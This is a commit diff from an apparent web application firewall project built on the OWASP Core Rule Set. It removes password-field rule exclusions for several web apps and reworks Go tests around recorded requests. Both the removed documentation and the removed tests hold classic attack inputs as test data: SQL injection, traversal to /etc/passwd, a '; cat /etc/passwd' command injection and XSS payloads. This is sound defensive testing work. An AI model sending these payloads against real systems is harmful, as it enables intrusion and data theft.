Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c367d35b62 |
No files matched your search
+2
-24
@@ -12,7 +12,7 @@ RUN go mod download
|
||||
|
||||
COPY . .
|
||||
|
||||
RUN golangci-lint run --config .golangci.yml --build-tags recorded ./...
|
||||
RUN golangci-lint run --config .golangci.yml ./...
|
||||
|
||||
# Test phase, same shape and for the same reason. The go directive in
|
||||
# go.mod is a minimum, so this Go may be newer than the linter's. The
|
||||
@@ -20,7 +20,7 @@ RUN golangci-lint run --config .golangci.yml --build-tags recorded ./...
|
||||
# needs the C compiler it carries.
|
||||
#
|
||||
# golang 1.27.1-trixie, 2026-09-19
|
||||
FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test-setup
|
||||
FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test
|
||||
|
||||
WORKDIR /src
|
||||
|
||||
@@ -35,36 +35,14 @@ COPY . .
|
||||
RUN go mod tidy -diff || \
|
||||
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
|
||||
|
||||
# The two passes below are separate stages so that BuildKit runs them at
|
||||
# the same time; they share no compiled code, because -race changes every
|
||||
# package's build.
|
||||
#
|
||||
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
|
||||
# after this step, and writing it into the image takes seconds. The tests
|
||||
# are built with the no_fs_access tag, as the binary is in the build stage.
|
||||
FROM test-setup AS test-race
|
||||
|
||||
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
|
||||
go test -tags no_fs_access -timeout 90s -race -cover ./... || \
|
||||
{ echo "--- Rerunning with -v for details ---"; \
|
||||
go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
|
||||
|
||||
# Second pass: the recorded requests, too slow for make test under -race.
|
||||
FROM test-setup AS test-recorded
|
||||
|
||||
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
|
||||
go test -tags no_fs_access,recorded -timeout 90s -cover -run '^TestOrdinary' ./internal/coreruleset/... || \
|
||||
{ echo "--- Rerunning with -v for details ---"; \
|
||||
go test -tags no_fs_access,recorded -timeout 90s -run '^TestOrdinary' -v ./internal/coreruleset/...; exit 1; }
|
||||
|
||||
# The test phase that script/test and the build stage name. Nothing is
|
||||
# wanted from the two passes; the copies are what make BuildKit run them.
|
||||
# It holds nothing else, so script/test's image takes no time to write.
|
||||
FROM scratch AS test
|
||||
|
||||
COPY --from=test-race /src/go.sum /src/go.sum
|
||||
COPY --from=test-recorded /src/go.sum /src/go.sum
|
||||
|
||||
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
|
||||
# writes pass the test phase's check. Nothing else depends on it, so only
|
||||
# script/tidy, which names the stage after it, builds it.
|
||||
|
||||
@@ -602,13 +602,6 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
|
||||
WebDAV methods, searches, file names, account names, comments and
|
||||
documents do too.
|
||||
- A random password, as a password manager makes one, gets through these forms:
|
||||
- signing in, signing up, and changing or resetting a password, on
|
||||
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud and gitea;
|
||||
- moving or deleting the account, on Mastodon;
|
||||
- deleting the account, on gitea;
|
||||
- the admin page, on Vaultwarden, whose apps send a hash of the master
|
||||
password, not the password itself.
|
||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||
fields or paths.
|
||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||
@@ -702,8 +695,7 @@ on the host.
|
||||
- `script/projectname`: prints `smallwebwaf`, which the other scripts tag their
|
||||
images with.
|
||||
- `script/test`: checks that `go.mod` and `go.sum` are tidy, then runs the
|
||||
tests, as the `test` phase of the `Dockerfile`. It runs them twice: once with
|
||||
the race detector, and once without it for the recorded requests. `make test`.
|
||||
tests, as the `test` phase of the `Dockerfile`. `make test`.
|
||||
- `script/tidy`: writes `go.mod` and `go.sum` as `go mod tidy` writes them, in
|
||||
the `tidy` stage of the `Dockerfile`. `make tidy`.
|
||||
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
|
||||
|
||||
@@ -858,26 +858,6 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
- to list a directory's last commits.
|
||||
- The `Content-Range` header of an artifact upload from
|
||||
`actions/upload-artifact@v3` (920450).
|
||||
- The passwords in a body, for each rule that random passwords set off. The
|
||||
numbers are in `internal/coreruleset/gitea.conf`.
|
||||
- `password` on these paths:
|
||||
- `/user/login`, `/user/sign_up`, `/user/activate`;
|
||||
- `/user/link_account_signin` and `/user/link_account_signup`;
|
||||
- `/user/recover_account`, which resets a password;
|
||||
- `/user/settings/change_password` and `/user/settings/account`;
|
||||
- `/user/settings/account/delete`;
|
||||
- `/-/admin/users/new` and `/-/admin/users/<id>/edit`, and the same
|
||||
paths under `/admin/`.
|
||||
- `retype` on `/user/sign_up`, `/user/link_account_signup`,
|
||||
`/user/settings/change_password` and `/user/settings/account`.
|
||||
- `old_password` on `/user/settings/account`.
|
||||
- `password` in the JSON body of `/api/v1/admin/users` and each user
|
||||
under it.
|
||||
|
||||
None applies when the query has a parameter of the same name.
|
||||
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
|
||||
`<img src=x onerror=x()>` sent as the password reach gitea;
|
||||
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
|
||||
|
||||
Elsewhere these fields keep every rule. The paths are those of gitea at the
|
||||
site root. An app other than gitea that serves one of them must check these
|
||||
@@ -939,27 +919,7 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
- `content` of a reply to a comment sent to `admin-ajax.php`.
|
||||
- `newcontent` of a plugin's or a theme's file saved from its editor,
|
||||
which is PHP.
|
||||
- `pwd`, the password when signing in, for each rule that random
|
||||
passwords set off:
|
||||
|
||||
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130,
|
||||
932160, 932230, 932250, 932260, 932270, 932280, 932330, 932340,
|
||||
932370, 932380, 933100, 933135, 933180, 933210, 941100, 941120,
|
||||
941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
|
||||
942540, 942550, 944150.
|
||||
|
||||
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
|
||||
`<img src=x onerror=x()>` sent as the password reach WordPress;
|
||||
`<script>alert(1)</script>` and `javascript:alert(1)` are still
|
||||
refused.
|
||||
|
||||
- `pass1`, `pass2` and `post_password` on `/wp-login.php`, which reset a
|
||||
password and sign in to a protected post, for the same rules.
|
||||
- `pass1` and `pass2` on `/wp-admin/profile.php`,
|
||||
`/wp-admin/user-edit.php` and `/wp-admin/user-new.php`, for the same
|
||||
rules.
|
||||
- `password` in form data or JSON on the REST API's `/wp/v2/users` and
|
||||
the user under it, for the same rules.
|
||||
- `pwd` when signing in, for the list of system files (930120).
|
||||
- `title`, `excerpt` and `name` in a JSON body sent to any REST API
|
||||
route under `/wp/v2/`, for the rules on system files and commands
|
||||
(930120, 932120, 932250, 932260).
|
||||
@@ -1027,25 +987,6 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
- The body and comment body on the node and comment forms and through
|
||||
JSON:API, which hold HTML and any code it shows.
|
||||
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
||||
- `pass`, the password when signing in, in form data or JSON, for each rule
|
||||
that random passwords set off:
|
||||
|
||||
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
|
||||
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
|
||||
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
|
||||
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
|
||||
|
||||
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
|
||||
`<img src=x onerror=x()>` sent as the password reach Drupal;
|
||||
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
|
||||
|
||||
- The other passwords, for the same rules:
|
||||
- `pass[pass1]`, `pass[pass2]` and `current_pass` on `/user/register`,
|
||||
`/user/<id>/edit` and `/admin/people/create`;
|
||||
- `pass.value`, `pass.0.value` and `pass.0.existing` in the JSON body of
|
||||
`/user/register` and `/user/<id>`;
|
||||
- `data.attributes.pass.value` and `data.attributes.pass.existing` in
|
||||
the JSON:API body of `/jsonapi/user/user` and each user under it.
|
||||
- `name` when resetting a password through Drupal's JSON format on
|
||||
`/user/password`, for the same four rules.
|
||||
- `mail` in that same reset, for 932120 and 932260 only.
|
||||
@@ -1125,28 +1066,6 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
- `wpTextbox1` on MediaWiki's pages;
|
||||
- `text`, `appendtext` and `prependtext` on `/api.php`;
|
||||
- `source` in the JSON body of `/rest.php/`.
|
||||
- The passwords when signing in, signing up and changing a password:
|
||||
- `wpPassword` on MediaWiki's pages;
|
||||
- `password` and `retype` on `Special:ChangeCredentials`;
|
||||
- `retype` on `Special:CreateAccount`;
|
||||
- `retype` on `Special:UserLogin`, where a password reset sets the new
|
||||
password;
|
||||
- `lgpassword`, `password` and `retype` on `/api.php`.
|
||||
|
||||
They skip each rule that random passwords set off:
|
||||
|
||||
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
|
||||
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
|
||||
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
|
||||
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
|
||||
|
||||
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
|
||||
`<img src=x onerror=x()>` sent as a password reach MediaWiki;
|
||||
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
|
||||
|
||||
The path must name the special page, or be `/index.php` with a `title`
|
||||
that names it. Other apps use `password` and `retype` too, so on any
|
||||
other page those two fields keep every rule.
|
||||
|
||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||
applies when the query has a parameter of the same name.
|
||||
@@ -1273,30 +1192,6 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
Each name contains `.forward`, a file in a home folder. So 930120 refused
|
||||
every report the web app sent. The keys' values keep every rule.
|
||||
|
||||
The passwords in a body:
|
||||
- on `/auth`, `/settings/migration` and `/settings/delete`, and the paths
|
||||
under them:
|
||||
- `user[password]`, `user[password_confirmation]` and
|
||||
`user[current_password]`;
|
||||
- `account_migration[current_password]` and
|
||||
`form_redirect[current_password]`;
|
||||
- `form_delete_confirmation[password]`;
|
||||
- `form_challenge[current_password]`, which asks for the password again, on
|
||||
`/auth/challenge`, `/settings/two_factor_authentication` and
|
||||
`/settings/two_factor_authentication_methods`, and the paths under them;
|
||||
- `password` on `/api/v1/accounts`, in form data or JSON.
|
||||
|
||||
They skip each rule that random passwords set off:
|
||||
|
||||
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
|
||||
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
|
||||
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
|
||||
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
|
||||
|
||||
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
|
||||
`<img src=x onerror=x()>` sent as a password reach Mastodon;
|
||||
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
|
||||
|
||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||
applies when the query has a parameter of the same name.
|
||||
|
||||
@@ -1367,17 +1262,6 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
`username` in the query of `/api/hibp/breach`, the data breach report, skips
|
||||
930120, 932120 and 932260 too.
|
||||
|
||||
`token` in the body of `/admin`, the admin token typed on the admin page,
|
||||
skips each rule that random passwords set off. The numbers are in
|
||||
`internal/coreruleset/vaultwarden.conf`. It applies only when the query has
|
||||
no `token` parameter. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd`
|
||||
and `<img src=x onerror=x()>` sent as the token reach Vaultwarden;
|
||||
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
|
||||
|
||||
The apps hash the master password before sending it. So `password` on
|
||||
`/identity/connect/token`, `masterPasswordHash` and `newMasterPasswordHash`
|
||||
hold only base64 and need no exclusion.
|
||||
|
||||
The names of uploaded files skip 920120 on the paths that take attachments
|
||||
and file sends:
|
||||
- `/api/ciphers/<id>/attachment` and the paths under it;
|
||||
@@ -1440,45 +1324,6 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
saves.
|
||||
- `name` on `/remote.php/dav/systemtags/`, a new tag.
|
||||
|
||||
`password` in the body of `/login`, the password when signing in, skips each
|
||||
rule that random passwords set off:
|
||||
|
||||
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
|
||||
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
|
||||
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
|
||||
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
|
||||
|
||||
It applies only when the query has no `password` parameter. `' OR '1'='1`,
|
||||
`../../etc/passwd`, `; cat /etc/passwd` and `<img src=x onerror=x()>` sent
|
||||
as the password reach Nextcloud; `<script>alert(1)</script>` and
|
||||
`javascript:alert(1)` are still refused.
|
||||
|
||||
The other passwords skip the same rules, in form data or JSON. None applies
|
||||
when the query has a parameter of the same name.
|
||||
- `password` on `/login/confirm`, `/lostpassword/set/<token>/<user>`,
|
||||
`/settings/users/changepassword` and a public share's
|
||||
`/s/<token>/authenticate/<page>`.
|
||||
- `oldpassword` and `newpassword` on `/settings/personal/changepassword`.
|
||||
- `recoveryPassword` on `/settings/users/changepassword`.
|
||||
- `oldPassword` and `newPassword` on `/apps/user_ldap/renewpassword`, which
|
||||
changes an expired password, and on
|
||||
`/apps/encryption/ajax/updatePrivateKeyPassword`.
|
||||
- `oldPassword`, `newPassword` and `confirmPassword` on
|
||||
`/apps/encryption/ajax/changeRecoveryPassword`.
|
||||
- `recoveryPassword` and `confirmPassword` on
|
||||
`/apps/encryption/ajax/adminRecovery`.
|
||||
- `password` on the OCS API's `person/check`, which checks a sign-in, and
|
||||
`core/apppassword/confirm`, which confirms the password.
|
||||
- `password` on the OCS API's `cloud/users` and the share API's
|
||||
`apps/files_sharing/api/v1/shares`, each user or share under them, and a
|
||||
share's `send-email`.
|
||||
- `value` on the OCS API's `cloud/users/<id>` when the body's `key` is
|
||||
`password`. A body with more than one `key`, or a `key` or `value` in the
|
||||
query, gets none of this.
|
||||
|
||||
`password` on `/login/flow/apptoken` and `/login/v2/apptoken` holds a
|
||||
generated app token, so it needs no exclusion.
|
||||
|
||||
Some fields hold sentences a person writes:
|
||||
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
|
||||
API and on each share under it;
|
||||
|
||||
@@ -1,10 +1,8 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"math/rand/v2"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
@@ -575,6 +573,38 @@ func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
||||
// Each has the Referer of a page that names the same, as a page opened
|
||||
// from it has.
|
||||
func giteaRequests(t *testing.T) []request {
|
||||
t.Helper()
|
||||
|
||||
text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []request
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
target, header, _ := strings.Cut(line, " ")
|
||||
|
||||
headers := []string{"Referer: http://git.example" + target}
|
||||
if header != "" {
|
||||
headers = append(headers, header)
|
||||
}
|
||||
|
||||
requests = append(requests, get(target, headers...))
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
// An SQL injection, a script injection and a shell command after a ";", as
|
||||
// query values. Every app's tests check that its fields still refuse the
|
||||
// first two.
|
||||
@@ -588,404 +618,140 @@ const (
|
||||
// several apps take a password.
|
||||
const passwordField = "password="
|
||||
|
||||
// passwordKey is that field's name, without the "=".
|
||||
const passwordKey = "password"
|
||||
|
||||
// retypeKey is the field in which apps take the same password again.
|
||||
const retypeKey = "retype"
|
||||
|
||||
// hardValues are words that name commands and files, as a query or form
|
||||
// value. An app's tests check that its fields let them through.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
||||
|
||||
// randomPassword returns a password of 20 characters, each one of the 95
|
||||
// printable ASCII characters, space included, drawn from random.
|
||||
func randomPassword(random *rand.Rand) string {
|
||||
const length = 20
|
||||
|
||||
var printable []byte
|
||||
for c := byte(' '); c <= '~'; c++ {
|
||||
printable = append(printable, c)
|
||||
}
|
||||
|
||||
password := make([]byte, length)
|
||||
for i := range password {
|
||||
password[i] = printable[random.IntN(len(printable))]
|
||||
}
|
||||
|
||||
return string(password)
|
||||
}
|
||||
|
||||
// rarePasswords are random passwords from randomPasswords' seed, found among
|
||||
// the first 1,000,000. Each sets off the rule named beside it, which the first
|
||||
// 2,000 do not set off.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var rarePasswords = []string{
|
||||
"x)g|E0f)~.um%00G]<oA", // 920270
|
||||
"uC?mK\\U2fEbXA}~j7fPb", // 920540
|
||||
"4;yfIDKZYNtZT)(w-=%@", // 921200
|
||||
"`sAIfEVdBprjxR$/.?\\d", // 930100
|
||||
"Unt@1xza,:%j$/..;5y+", // 930110
|
||||
"VN.CVsu^3vbUS==4Q&Y@", // 930120
|
||||
"gJ<EcT)jhZ'`GC>cX~hM", // 932125
|
||||
" /\"j14y[%\\(iM]zmG%=^", // 932130
|
||||
"\\f*q5v$]$IfS3JoY:*r1", // 932160
|
||||
"*e#!-z{Jq)Sqwx@k:b:}", // 932230
|
||||
"pErl>vR[Z7K^<f%_4,WZ", // 932260
|
||||
"){2P,GU}a3mYvjq^(p1^", // 932280
|
||||
"xw4UGJk!-8#ZE(`.ij.O", // 932330
|
||||
" XVw(2mN5R,+%~_f\"n<?", // 933100
|
||||
"0ZK1D>`RHb+RW${/(z}C", // 933135
|
||||
"Ep3!qqe 7$RT(_)@SLV6", // 933180
|
||||
"&:4WomDrn$\"(SE_D);Ja", // 933210
|
||||
"='nlIgN7ON\\\\mWt=Tr84", // 941120
|
||||
"P]/C>Ef]F-<sV,&gs.[4", // 941160
|
||||
"<!--a\"9Ju}r!2=J-kZDd", // 941180
|
||||
"@`].*EJ?`Cw^8\\orD!(f", // 942151
|
||||
"StTj*t:IF(Uq_<aG0mya", // 942230
|
||||
"t,D-oJjnvL Dn!o::Int", // 942320
|
||||
"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
|
||||
"`aV#3${J4,\\h.q' k\\${", // 944150
|
||||
}
|
||||
|
||||
// randomPasswords returns 2,000 random passwords from a fixed seed, then
|
||||
// rarePasswords.
|
||||
func randomPasswords() []string {
|
||||
const count, seed = 2000, 276
|
||||
|
||||
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
||||
|
||||
passwords := make([]string, count, count+len(rarePasswords))
|
||||
for i := range passwords {
|
||||
passwords[i] = randomPassword(random)
|
||||
}
|
||||
|
||||
return append(passwords, rarePasswords...)
|
||||
}
|
||||
|
||||
// passwordBody returns a body of r's type, form data or JSON, that sends
|
||||
// each of passwords in each of names. In JSON, a dot in a name nests the
|
||||
// field: pass.0.value is {"pass":{"0":{"value":password}}}, which Coraza
|
||||
// names as it names the same field sent in an array. Coraza checks each
|
||||
// value of a field on its own, and keeps every value of a JSON key sent more
|
||||
// than once.
|
||||
func passwordBody(t *testing.T, r request, names []string, passwords ...string) string {
|
||||
t.Helper()
|
||||
|
||||
var fields []string
|
||||
|
||||
for _, name := range names {
|
||||
if r.headers[0] != jsonBody {
|
||||
fields = append(fields, formBody(name, passwords...))
|
||||
|
||||
continue
|
||||
}
|
||||
|
||||
keys := strings.Split(name, ".")
|
||||
|
||||
for _, password := range passwords {
|
||||
var value any = password
|
||||
for i := len(keys) - 1; i > 0; i-- {
|
||||
value = map[string]any{keys[i]: value}
|
||||
}
|
||||
|
||||
pair, err := json.Marshal(map[string]any{keys[0]: value})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
fields = append(fields, string(pair[1:len(pair)-1]))
|
||||
}
|
||||
}
|
||||
|
||||
if r.headers[0] != jsonBody {
|
||||
return strings.Join(fields, "&")
|
||||
}
|
||||
|
||||
return "{" + strings.Join(fields, ",") + "}"
|
||||
}
|
||||
|
||||
// formBody returns a form data body that sends each of values in the field
|
||||
// name.
|
||||
func formBody(name string, values ...string) string {
|
||||
fields := make([]string, len(values))
|
||||
for i, value := range values {
|
||||
fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
|
||||
}
|
||||
|
||||
return strings.Join(fields, "&")
|
||||
}
|
||||
|
||||
// setsOffARule reports whether body, form data sent to / as a browser
|
||||
// sends it, sets off a rule in crs.
|
||||
func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
|
||||
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
|
||||
"http://git.example/", strings.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
||||
"Gecko/20100101 Firefox/131.0")
|
||||
req.Header.Set("Accept", "text/html")
|
||||
|
||||
// The body is read from memory, which cannot fail.
|
||||
result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
||||
|
||||
return len(result.RuleIDs) > 0
|
||||
}
|
||||
|
||||
// findMisfiringPasswords returns those of randomPasswords that set off a
|
||||
// rule in the form data field password on /, which no exclusion names, while
|
||||
// bodies are read. It runs once, for every test that asks. Each body sends
|
||||
// ten passwords, and a body that sets off a rule is sent again one password
|
||||
// at a time.
|
||||
//
|
||||
//nolint:gochecknoglobals // the tests share it
|
||||
var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
||||
const workers, perBody = 16, 10
|
||||
|
||||
crs, err := loaderFor(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
})()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
passwords := randomPasswords()
|
||||
misfires := make([]bool, len(passwords))
|
||||
|
||||
var inspecting sync.WaitGroup
|
||||
|
||||
for worker := range workers {
|
||||
inspecting.Go(func() {
|
||||
for first := worker * perBody; first < len(passwords); first += workers * perBody {
|
||||
last := min(first+perBody, len(passwords))
|
||||
if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
|
||||
continue
|
||||
}
|
||||
|
||||
for i := first; i < last; i++ {
|
||||
misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
inspecting.Wait()
|
||||
|
||||
var misfiring []string
|
||||
|
||||
for i, password := range passwords {
|
||||
if misfires[i] {
|
||||
misfiring = append(misfiring, password)
|
||||
}
|
||||
}
|
||||
|
||||
return misfiring, nil
|
||||
})
|
||||
|
||||
// misfiringPasswords returns those of randomPasswords that set off a rule in
|
||||
// a field no exclusion names. The rules that misfire on a password read its
|
||||
// value, not the name of its field. So the other random passwords set off no
|
||||
// rule in any field.
|
||||
func misfiringPasswords(t *testing.T) []string {
|
||||
t.Helper()
|
||||
|
||||
misfiring, err := findMisfiringPasswords()
|
||||
if err != nil {
|
||||
t.Fatalf("load the Core Rule Set: %v", err)
|
||||
}
|
||||
|
||||
for _, rare := range rarePasswords {
|
||||
if !slices.Contains(misfiring, rare) {
|
||||
t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
|
||||
}
|
||||
}
|
||||
|
||||
return misfiring
|
||||
}
|
||||
|
||||
// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
|
||||
// field name of r's body, is refused while bodies are read. r's Content-Type
|
||||
// is form data or JSON. Only the passwords misfiringPasswords returns set off
|
||||
// a rule in some field, so only they are sent, all in one body. If it is
|
||||
// refused, each is sent again on its own, to name those refused.
|
||||
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||
// requests in the file name in testdata is refused. A request with a body
|
||||
// or a Content-Type header is checked while bodies are read, and any other
|
||||
// request at the defaults. Reading bodies only adds rule matches, so a
|
||||
// request that passes while bodies are read passes at the defaults too;
|
||||
// TestReadingBodiesOnlyAddsMatches checks that. Each request runs as its
|
||||
// own parallel subtest.
|
||||
func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
misfiring := misfiringPasswords(t)
|
||||
names := []string{name}
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
|
||||
body := passwordBody(t, r, names, misfiring...)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||
return
|
||||
}
|
||||
|
||||
for _, password := range misfiring {
|
||||
body := passwordBody(t, r, names, password)
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
|
||||
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
|
||||
password, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// wantPasswordAttacksPass checks that an SQL injection, a path traversal, a
|
||||
// shell command and a script in an event handler, each sent as the whole
|
||||
// password in each of the fields names of r's body, pass while bodies are
|
||||
// read.
|
||||
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
for _, attack := range []string{
|
||||
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
|
||||
"<img src=x onerror=x()>",
|
||||
} {
|
||||
body := passwordBody(t, r, names, attack)
|
||||
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score >= threshold {
|
||||
t.Errorf("%s %s %v %q refused: %+v", r.method, r.target, names,
|
||||
attack, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// wantPasswordAttacksRefused checks that a script tag and a javascript: link,
|
||||
// each sent as the whole password in the field name of r's body, are refused
|
||||
// while bodies are read.
|
||||
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
|
||||
body := passwordBody(t, r, []string{name}, attack)
|
||||
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
|
||||
t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
|
||||
attack, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// passwordFields names the password fields one form or JSON body sends to
|
||||
// target. contentType is formData or jsonBody.
|
||||
type passwordFields struct {
|
||||
target, contentType string
|
||||
names []string
|
||||
}
|
||||
|
||||
// wantPasswordFieldsPass checks that the random passwords pass in each field
|
||||
// of fields, that the attacks that pass in a password pass in all of a
|
||||
// target's fields sent together, and that a script tag or a javascript: link
|
||||
// in any one field is still refused. Sending the attacks together keeps the
|
||||
// test cheap: a body of them is refused if any one field checks them.
|
||||
func wantPasswordFieldsPass(t *testing.T, fields []passwordFields) {
|
||||
t.Helper()
|
||||
|
||||
for _, sent := range fields {
|
||||
t.Run(sent.target+" "+sent.contentType, func(t *testing.T) {
|
||||
for _, recorded := range recordedRequests(t, name) {
|
||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{http.MethodPost, sent.target, []string{sent.contentType}}
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
|
||||
wantPasswordAttacksPass(t, r, sent.names...)
|
||||
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
|
||||
name, _, _ := strings.Cut(header, ":")
|
||||
|
||||
for _, name := range sent.names {
|
||||
wantRandomPasswordsPass(t, r, name)
|
||||
wantPasswordAttacksRefused(t, r, name)
|
||||
return strings.EqualFold(name, "Content-Type")
|
||||
})
|
||||
if recorded.Body == "" && !typed {
|
||||
got, _ := inspectBody(t, defaults, r, "")
|
||||
if got.Score >= threshold {
|
||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
got, _ := inspectBody(t, bodies, r, recorded.Body)
|
||||
if got.Score >= threshold {
|
||||
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
|
||||
r.method, r.target, recorded.Body, got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestGiteaPasswordsPass(t *testing.T) {
|
||||
// TestReadingBodiesOnlyAddsMatches checks that every rule a recorded
